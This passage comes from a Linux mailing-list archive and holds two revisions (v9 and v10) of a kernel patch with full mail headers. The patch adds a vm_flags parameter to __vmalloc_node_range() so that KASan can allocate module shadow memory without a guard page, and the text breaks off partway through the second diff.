NkZT+/PF5i1PcI5P/DFV1tO7lWDDK3JSjpnFicftEjZFXPsBH1mDIZJVjn27B620
FtJBJPNR5wpXUXJSy/Qz7vIvSO2PDMk7DQN4OwVDw2nBig6Uzlubw228/cxxKR4k
tDCxD1h+PfQKhfI0AepsHoDmx5cru3vIG5kOfZ6QklkoXXry98RGAalrKN9OBh9W
i5JOFSSCEvHF9UwrO4j6u05h3QIQi+EeTO7T95Np++y+kkgQ43prdqXXl3JLse3/
uEbsnZ7K7Qx7gNIp155WHzo0C5h5ZKTX5FoLXA3ruSdO9W9JbTH6bQnwZw2Gczmv
2kyCLN3zs6DO+zzjxwlVDktum0umiEqM1oZBIOPbrTip0cZ0w3Dxwn708KP5/AXM
gWND1Me9jfucnHqu2bEwHDOJIcsFTilM13tkqa9icC1g5McTeWA9S+MKcozgnk2h
Nw68hi3mewzG5UynFNHwLUKZfphzSZlpmuHWcR09aLduKb/Yhu4GyTFSfA7MMpRM
R0G1IewnqtODXFbvlKis8ZL2c3D9TwhFmcTEOPIwUv1MWJ4fqqrNxgJBJfC3nKMU
4M0WPDEL4MLHNoFh52sc
=Z2Vy
-----END PGP SIGNATURE-----

--Sig_/049JUzqsR+tEC6nh5fa6big--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrey Ryabinin <a.ryabinin@samsung.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v9 14/17] mm: vmalloc: pass additional vm_flags to
 __vmalloc_node_range()
Date: Wed, 21 Jan 2015 19:51:42 +0300
Lines: 190
Approved: news@gmane.org
Message-ID: <1421859105-25253-15-git-send-email-a.ryabinin@samsung.com>
References: <1404905415-9046-1-git-send-email-a.ryabinin@samsung.com>
 <1421859105-25253-1-git-send-email-a.ryabinin@samsung.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1421859181 7934 80.91.229.3 (21 Jan 2015 16:53:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2015 16:53:01 +0000 (UTC)
Cc: Andrey Ryabinin <a.ryabinin@samsung.com>,
        Dmitry Vyukov <dvyukov@google.com>,
        Konstantin Serebryany <kcc@google.com>,
        Dmitry Chernenkov <dmitryc@google.com>,
        Andrey Konovalov <adech.fo@gmail.com>,
        Yuri Gribov <tetra2005@gmail.com>,
        Konstantin Khlebnikov <koct9i@gmail.com>,
        Sasha Levin <sasha.levin@oracle.com>,
        Christoph Lameter <cl@linux.com>,
        Joonsoo Kim <iamjoonsoo.kim@lge.com>,
        Andrew Morton <akpm@linux-foundation.org>,
        Dave Hansen <dave.hansen@intel.com>,
        Andi Kleen <andi@firstfloor.org>, x86@kernel.org,
        linux-mm@kvack.org, Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <del
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jan 21 17:52:56 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YDyWV-0008MS-31
	for sgi-linux-mips@gmane.org; Wed, 21 Jan 2015 17:52:55 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:57755 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012071AbbAUQwvs27Qv (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 21 Jan 2015 17:52:51 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 21 Jan 2015 17:52:37 +0100 (CET)
Original-Received: from mailout3.w1.samsung.com ([210.118.77.13]:41048 "EHLO
        mailout3.w1.samsung.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011212AbbAUQwfpEmzV (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 21 Jan 2015 17:52:35 +0100
Original-Received: from eucpsbgm1.samsung.com (unknown [203.254.199.244])
 by mailout3.w1.samsung.com
 (Oracle Communications Messaging Server 7u4-24.01(7.0.4.24.0) 64bit (built Nov
 17 2011)) with ESMTP id <0NIJ00JKQDQ8DQA0@mailout3.w1.samsung.com>; Wed,
 21 Jan 2015 16:56:32 +0000 (GMT)
X-AuditID: cbfec7f4-b7f126d000001e9a-b4-54bfd8bab05d
Original-Received: from eusync3.samsung.com ( [203.254.199.213])
        by eucpsbgm1.samsung.com (EUCPMTA) with SMTP id DD.66.07834.AB8DFB45; Wed,
 21 Jan 2015 16:50:03 +0000 (GMT)
Original-Received: from localhost.localdomain ([106.109.129.143])
 by eusync3.samsung.com (Oracle Communications Messaging Server 7u4-23.01
 (7.0.4.23.0) 64bit (built Aug 10 2011))
 with ESMTPA id <0NIJ003CDDIAO480@eusync3.samsung.com>; Wed,
 21 Jan 2015 16:52:23 +0000 (GMT)
X-Mailer: git-send-email 2.2.1
In-reply-to: <1421859105-25253-1-git-send-email-a.ryabinin@samsung.com>
X-Brightmail-Tracker: H4sIAAAAAAAAAyWRa0iTcRSH/b97b64GL2b1Khay9IuiaQgdrKxA8yUi+qBGBerUocKmsjXR
        PoilGN6XpaaYmlLpWjm3apmKOsxLltq8hqXOK4O8baGVZG3t23N+POf8Phya5/Iad6eTU26K
        ZSkiiZDk40N7/RN+7dNdEQHdmfDm9wIJu51VBNS0qEnondyhYONpEYKp7e8ILOZ5BDUjuTjM
        WWYQrJpMFChNeRT0TG9T0DdqxqGi9TA0F+aQMPdSRYB+ZQ2D5vx5ArSLkwSMvashQVleRsGs
        +i8BCx9GMVA+zuGBedtKwMyYAIzd9RgYO7ygsXeGB9Zh2+3swSYC1lfu80CnLbepWwM4/NQs
        EueOcepaNeJyc4pI7lXzF4zrWTCQXF3bFuLaqr9R3OZWNFevVXCNHWaM06rySU5rKaO4grVx
        jFsfHqa4gYe7OPe++QXGLY1XYlfY6/zTCWJJcrpYdjwklp80UWRAaQMnMzTzg1Q20vgVIGea
        ZYLYuk0r5uBD7OhsC1mA+LQL8wSxJmMp7hhKMFbXqeLZLZLxZ/eq9aSdXRlPVle8QtglHrPJ
        Z3NLG20STR9gbrANlgt2B2e8Wf3Hrv+7Aiac3WlvoRxtR9nWr02EnZ1tedXIPcxRdgex1l49
        qUSCeuSkQgfFivg0eVyiNNBfLpLKFSmJ/vGpUi1yvPrHW9TYF2xADI2E+wUZkV0RLoQoXZ4p
        NSCW5gldBXVTtkiQIMq8JZalxsgUErHcgDDa2T0buUWajaHLvzxFlmL55WUnby+xZ1C4 
X-archive-position: 45413
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: a.ryabinin@samsung.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:46563 gmane.linux.kernel:1871147 gmane.linux.kernel.mm:127580 gmane.linux.ports.arm.kernel:388070 gmane.linux.ports.parisc:25555 gmane.linux.ports.sparc:20428
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/46563>

For instrumenting global variables KASan will shadow memory backing
memory for modules. So on module loading we will need to allocate
shadow memory and map it at exact virtual address.
__vmalloc_node_range() seems like the best fit for that purpose,
except it puts a guard hole after allocated area.

Now we have VM_NO_GUARD flag disabling guard page, so we need to
pass into __vmalloc_node_range(). Add new parameter 'vm_flags'
to __vmalloc_node_range() function.

Signed-off-by: Andrey Ryabinin <a.ryabinin@samsung.com>
---
 arch/arm/kernel/module.c       |  2 +-
 arch/arm64/kernel/module.c     |  2 +-
 arch/mips/kernel/module.c      |  2 +-
 arch/parisc/kernel/module.c    |  2 +-
 arch/s390/kernel/module.c      |  2 +-
 arch/sparc/kernel/module.c     |  2 +-
 arch/unicore32/kernel/module.c |  2 +-
 arch/x86/kernel/module.c       |  2 +-
 include/linux/vmalloc.h        |  4 +++-
 mm/vmalloc.c                   | 10 ++++++----
 10 files changed, 17 insertions(+), 13 deletions(-)

diff --git a/arch/arm/kernel/module.c b/arch/arm/kernel/module.c
index bea7db9..2e11961 100644
--- a/arch/arm/kernel/module.c
+++ b/arch/arm/kernel/module.c
@@ -41,7 +41,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/arm64/kernel/module.c b/arch/arm64/kernel/module.c
index 9b6f71d..5958d6d 100644
--- a/arch/arm64/kernel/module.c
+++ b/arch/arm64/kernel/module.c
@@ -35,7 +35,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				    GFP_KERNEL, PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/mips/kernel/module.c b/arch/mips/kernel/module.c
index 2a52568..1833f51 100644
--- a/arch/mips/kernel/module.c
+++ b/arch/mips/kernel/module.c
@@ -47,7 +47,7 @@ static DEFINE_SPINLOCK(dbe_lock);
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULE_START, MODULE_END,
-				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 50dfafc..0d498ef 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -219,7 +219,7 @@ void *module_alloc(unsigned long size)
 	 * init_data correctly */
 	return __vmalloc_node_range(size, 1, VMALLOC_START, VMALLOC_END,
 				    GFP_KERNEL | __GFP_HIGHMEM,
-				    PAGE_KERNEL_RWX, NUMA_NO_NODE,
+				    PAGE_KERNEL_RWX, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/s390/kernel/module.c b/arch/s390/kernel/module.c
index b89b591..411a7ee 100644
--- a/arch/s390/kernel/module.c
+++ b/arch/s390/kernel/module.c
@@ -50,7 +50,7 @@ void *module_alloc(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
+				    GFP_KERNEL, PAGE_KERNEL, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 #endif
diff --git a/arch/sparc/kernel/module.c b/arch/sparc/kernel/module.c
index 97655e0..192a617 100644
--- a/arch/sparc/kernel/module.c
+++ b/arch/sparc/kernel/module.c
@@ -29,7 +29,7 @@ static void *module_map(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #else
diff --git a/arch/unicore32/kernel/module.c b/arch/unicore32/kernel/module.c
index dc41f6d..e191b34 100644
--- a/arch/unicore32/kernel/module.c
+++ b/arch/unicore32/kernel/module.c
@@ -25,7 +25,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 
diff --git a/arch/x86/kernel/module.c b/arch/x86/kernel/module.c
index e69f988..e830e61 100644
--- a/arch/x86/kernel/module.c
+++ b/arch/x86/kernel/module.c
@@ -88,7 +88,7 @@ void *module_alloc(unsigned long size)
 	return __vmalloc_node_range(size, 1,
 				    MODULES_VADDR + get_module_load_offset(),
 				    MODULES_END, GFP_KERNEL | __GFP_HIGHMEM,
-				    PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				    PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/include/linux/vmalloc.h b/include/linux/vmalloc.h
index 1526fe7..7d7acb3 100644
--- a/include/linux/vmalloc.h
+++ b/include/linux/vmalloc.h
@@ -76,7 +76,9 @@ extern void *vmalloc_32_user(unsigned long size);
 extern void *__vmalloc(unsigned long size, gfp_t gfp_mask, pgprot_t prot);
 extern void *__vmalloc_node_range(unsigned long size, unsigned long align,
 			unsigned long start, unsigned long end, gfp_t gfp_mask,
-			pgprot_t prot, int node, const void *caller);
+			pgprot_t prot, unsigned long vm_flags, int node,
+			const void *caller);
+
 extern void vfree(const void *addr);
 
 extern void *vmap(struct page **pages, unsigned int count,
diff --git a/mm/vmalloc.c b/mm/vmalloc.c
index 2e74e99..35b25e1 100644
--- a/mm/vmalloc.c
+++ b/mm/vmalloc.c
@@ -1619,6 +1619,7 @@ fail:
  *	@end:		vm area range end
  *	@gfp_mask:	flags for the page level allocator
  *	@prot:		protection mask for the allocated pages
+ *	@vm_flags:	additional vm area flags (e.g. %VM_NO_GUARD)
  *	@node:		node to use for allocation or NUMA_NO_NODE
  *	@caller:	caller's return address
  *
@@ -1628,7 +1629,8 @@ fail:
  */
 void *__vmalloc_node_range(unsigned long size, unsigned long align,
 			unsigned long start, unsigned long end, gfp_t gfp_mask,
-			pgprot_t prot, int node, const void *caller)
+			pgprot_t prot, unsigned long vm_flags, int node,
+			const void *caller)
 {
 	struct vm_struct *area;
 	void *addr;
@@ -1638,8 +1640,8 @@ void *__vmalloc_node_range(unsigned long size, unsigned long align,
 	if (!size || (size >> PAGE_SHIFT) > totalram_pages)
 		goto fail;
 
-	area = __get_vm_area_node(size, align, VM_ALLOC | VM_UNINITIALIZED,
-				  start, end, node, gfp_mask, caller);
+	area = __get_vm_area_node(size, align, VM_ALLOC | VM_UNINITIALIZED |
+				vm_flags, start, end, node, gfp_mask, caller);
 	if (!area)
 		goto fail;
 
@@ -1688,7 +1690,7 @@ static void *__vmalloc_node(unsigned long size, unsigned long align,
 			    int node, const void *caller)
 {
 	return __vmalloc_node_range(size, align, VMALLOC_START, VMALLOC_END,
-				gfp_mask, prot, node, caller);
+				gfp_mask, prot, 0, node, caller);
 }
 
 void *__vmalloc(unsigned long size, gfp_t gfp_mask, pgprot_t prot)
-- 
2.2.1




From - Thu Nov 08 21:37:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrey Ryabinin <a.ryabinin@samsung.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v10 14/17] mm: vmalloc: pass additional vm_flags to
 __vmalloc_node_range()
Date: Thu, 29 Jan 2015 18:11:58 +0300
Lines: 192
Approved: news@gmane.org
Message-ID: <1422544321-24232-15-git-send-email-a.ryabinin@samsung.com>
References: <1404905415-9046-1-git-send-email-a.ryabinin@samsung.com>
 <1422544321-24232-1-git-send-email-a.ryabinin@samsung.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1422544414 14970 80.91.229.3 (29 Jan 2015 15:13:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Jan 2015 15:13:34 +0000 (UTC)
Cc: Andrey Ryabinin <a.ryabinin@samsung.com>,
        Dmitry Vyukov <dvyukov@google.com>,
        Konstantin Serebryany <kcc@google.com>,
        Dmitry Chernenkov <dmitryc@google.com>,
        Andrey Konovalov <adech.fo@gmail.com>,
        Yuri Gribov <tetra2005@gmail.com>,
        Konstantin Khlebnikov <koct9i@gmail.com>,
        Sasha Levin <sasha.levin@oracle.com>,
        Christoph Lameter <cl@linux.com>,
        Joonsoo Kim <iamjoonsoo.kim@lge.com>,
        Andrew Morton <akpm@linux-foundation.org>,
        Dave Hansen <dave.hansen@intel.com>,
        Andi Kleen <andi@firstfloor.org>, x86@kernel.org,
        linux-mm@kvack.org, Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <del
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Jan 29 16:13:23 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YGqmR-000791-2i
	for sgi-linux-mips@gmane.org; Thu, 29 Jan 2015 16:13:15 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:42324 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012231AbbA2PNH5xFEm (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 29 Jan 2015 16:13:07 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 29 Jan 2015 16:12:54 +0100 (CET)
Original-Received: from mailout3.w1.samsung.com ([210.118.77.13]:19046 "EHLO
        mailout3.w1.samsung.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27012220AbbA2PMvlZ06K (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 29 Jan 2015 16:12:51 +0100
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
 by mailout3.w1.samsung.com
 (Oracle Communications Messaging Server 7u4-24.01(7.0.4.24.0) 64bit (built Nov
 17 2011)) with ESMTP id <0NIY00KZS2G0PZ00@mailout3.w1.samsung.com>; Thu,
 29 Jan 2015 15:16:48 +0000 (GMT)
X-AuditID: cbfec7f5-b7fc86d0000066b7-0c-54ca4d5ad592
Original-Received: from eusync1.samsung.com ( [203.254.199.211])
        by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id 3C.68.26295.A5D4AC45; Thu,
 29 Jan 2015 15:10:18 +0000 (GMT)
Original-Received: from localhost.localdomain ([106.109.129.143])
 by eusync1.samsung.com (Oracle Communications Messaging Server 7u4-23.01
 (7.0.4.23.0) 64bit (built Aug 10 2011))
 with ESMTPA id <0NIY007EQ28EETB0@eusync1.samsung.com>; Thu,
 29 Jan 2015 15:12:44 +0000 (GMT)
X-Mailer: git-send-email 2.2.2
In-reply-to: <1422544321-24232-1-git-send-email-a.ryabinin@samsung.com>
X-Brightmail-Tracker: H4sIAAAAAAAAAyWRa0hTcRjG+5+zc84cDQ7m5WAkNYui8pL44TUqhAT/IYHEvhSRTp2XmBc2
        J9onbwWbS6fLNBG1hqG2vEzTNJVcTp2lDRWtlvc0Bs68Jwna1G+/9+HH83x4+aTrO54XPzE5
        TSpPlshEtID3eW9gzPfe7SFxQJPqDLT9m6dht/sFBRWNBhr6Jv4y8Oe1BsHk9jKCdfssgoqv
        eTyYWbch+D03x4B27gkDvd+2Gei32nnwvNkT6vJzaZhpqKegfclBQJ1qlgLjwgQFY50VNGhL
        ihmYNuxTMD9kJUD7MpcE+/YGBbYxIYx+rCZgtOss6PtsJGyMOLuzLLUUrCzpSGgxljjVtUEe
        7DQtUCE+2FBpQDgvV0Pj1rrvBO6dN9G4qmMN4Y7yKQavrj3A1UYl1nfZCWysV9HYuF7MYLVj
        nMArIyMMHizb5WFz3VsC/xovJSK4e4JrsVJZYrpU7n8jSpCQX3QhVQMZkwM/6Sy05KtGLnyO
        DeLWRwvII/bgrNONtBoJ+K5sDeIGuuepo6OA4LRv2tGBRbN+3F55O33AbuxpruXp0qFEsqsC
        Lq9Qf1h1gr3PTe1YmAPmsec4S7vmkIVsGNdRtehkvnPOm7OuRR7ELs54b3qBOBrLQVzzcCWt
        RcJqdKweuUuVMamK6PikQD+FJEmhTI73i0lJMqKjV2+9RzX9V02I5SPRcWGZ0SJ2pSTpiswk
        E+L4pMhNWBM8JHYVxkoyH0nlKZFypUyqMCGC7+KVheKWdTGbKtUXj2bPSxb5sDFVdjmh 
X-archive-position: 45537
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: a.ryabinin@samsung.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:46687 gmane.linux.kernel:1878161 gmane.linux.kernel.mm:127995 gmane.linux.ports.arm.kernel:390377 gmane.linux.ports.parisc:25556 gmane.linux.ports.sparc:20439
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/46687>

For instrumenting global variables KASan will shadow memory backing
memory for modules. So on module loading we will need to allocate
shadow memory and map it at exact virtual address.
__vmalloc_node_range() seems like the best fit for that purpose,
except it puts a guard hole after allocated area.

Now we have VM_NO_GUARD flag disabling guard page, so we need to
pass into __vmalloc_node_range(). Add new parameter 'vm_flags'
to __vmalloc_node_range() function.

Signed-off-by: Andrey Ryabinin <a.ryabinin@samsung.com>
---
 arch/arm/kernel/module.c       |  2 +-
 arch/arm64/kernel/module.c     |  4 ++--
 arch/mips/kernel/module.c      |  2 +-
 arch/parisc/kernel/module.c    |  2 +-
 arch/s390/kernel/module.c      |  2 +-
 arch/sparc/kernel/module.c     |  2 +-
 arch/unicore32/kernel/module.c |  2 +-
 arch/x86/kernel/module.c       |  2 +-
 include/linux/vmalloc.h        |  4 +++-
 mm/vmalloc.c                   | 10 ++++++----
 10 files changed, 18 insertions(+), 14 deletions(-)

diff --git a/arch/arm/kernel/module.c b/arch/arm/kernel/module.c
index bea7db9..2e11961 100644
--- a/arch/arm/kernel/module.c
+++ b/arch/arm/kernel/module.c
@@ -41,7 +41,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/arm64/kernel/module.c b/arch/arm64/kernel/module.c
index 9b6f71d..67bf410 100644
--- a/arch/arm64/kernel/module.c
+++ b/arch/arm64/kernel/module.c
@@ -35,8 +35,8 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
-				    __builtin_return_address(0));
+				    GFP_KERNEL, PAGE_KERNEL_EXEC, 0,
+				    NUMA_NO_NODE, __builtin_return_address(0));
 }
 
 enum aarch64_reloc_op {
diff --git a/arch/mips/kernel/module.c b/arch/mips/kernel/module.c
index 2a52568..1833f51 100644
--- a/arch/mips/kernel/module.c
+++ b/arch/mips/kernel/module.c
@@ -47,7 +47,7 @@ static DEFINE_SPINLOCK(dbe_lock);
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULE_START, MODULE_END,
-				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 5822e8e..3c63a82 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -219,7 +219,7 @@ void *module_alloc(unsigned long size)
 	 * init_data correctly */
 	return __vmalloc_node_range(size, 1, VMALLOC_START, VMALLOC_END,
 				    GFP_KERNEL | __GFP_HIGHMEM,
-				    PAGE_KERNEL_RWX, NUMA_NO_NODE,
+				    PAGE_KERNEL_RWX, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/s390/kernel/module.c b/arch/s390/kernel/module.c
index 409d152..36154a2 100644
--- a/arch/s390/kernel/module.c
+++ b/arch/s390/kernel/module.c
@@ -50,7 +50,7 @@ void *module_alloc(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
+				    GFP_KERNEL, PAGE_KERNEL, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 #endif
diff --git a/arch/sparc/kernel/module.c b/arch/sparc/kernel/module.c
index 97655e0..192a617 100644
--- a/arch/sparc/kernel/module.c
+++ b/arch/sparc/kernel/module.c
@@ -29,7 +29,7 @@ static void *module_map(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #else
diff --git a/arch/unicore32/kernel/module.c b/arch/unicore32/kernel/module.c
index dc41f6d..e191b34 100644
--- a/arch/unicore32/kernel/module.c
+++ b/arch/unicore32/kernel/module.c
@@ -25,7 +25,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				GFP_KERNEL, PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 
diff --git a/arch/x86/kernel/module.c b/arch/x86/kernel/module.c
index e69f988..e830e61 100644
--- a/arch/x86/kernel/module.c
+++ b/arch/x86/kernel/module.c
@@ -88,7 +88,7 @@ void *module_alloc(unsigned long size)
 	return __vmalloc_node_range(size, 1,
 				    MODULES_VADDR + get_module_load_offset(),
 				    MODULES_END, GFP_KERNEL | __GFP_HIGHMEM,
-				    PAGE_KERNEL_EXEC, NUMA_NO_NODE,
+				    PAGE_KERNEL_EXEC, 0, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/include/linux/vmalloc.h b/include/linux/vmalloc.h
index 1526fe7..7d7acb3 100644
--- a/include/linux/vmalloc.h
+++ b/include/linux/vmalloc.h
@@ -76,7 +76,9 @@ extern void *vmalloc_32_user(unsigned long size);
 extern void *__vmalloc(unsigned long size, gfp_t gfp_mask, pgprot_t prot);
 extern void *__vmalloc_node_range(unsigned long size, unsigned long align,
 			unsigned long start, unsigned long end, gfp_t gfp_mask,
-			pgprot_t prot, int node, const void *caller);
+			pgprot_t prot, unsigned long vm_flags, int node,
+			const void *caller);
+
 extern void vfree(const void *addr);
 
 extern void *vmap(struct page **pages, unsigned int count,
diff --git a/mm/vmalloc.c b/mm/vmalloc.c
index 2e74e99..35b25e1 100644
--- a/mm/vmalloc.c
+++ b/mm/vmalloc.c
@@ -1619,6 +1619,7 @@ fail:
  *	@end:		vm area range end
  *	@gfp_mask:	flags for the page level allocator
  *	@prot:		protection mask for the allocated pages
+ *	@vm_flags:	additional vm area flags (e.g. %VM_NO_GUARD)
  *	@node:		node to use for allocation or NUMA_NO_NODE
  *	@caller:	caller's return address
  *
@@ -1628,7 +1629,8 @@ fail:
  */
 void *__vmalloc_node_range(unsigned long size, unsigned long align,
 			unsigned long start, unsigned long end, gfp_t gfp_mask,
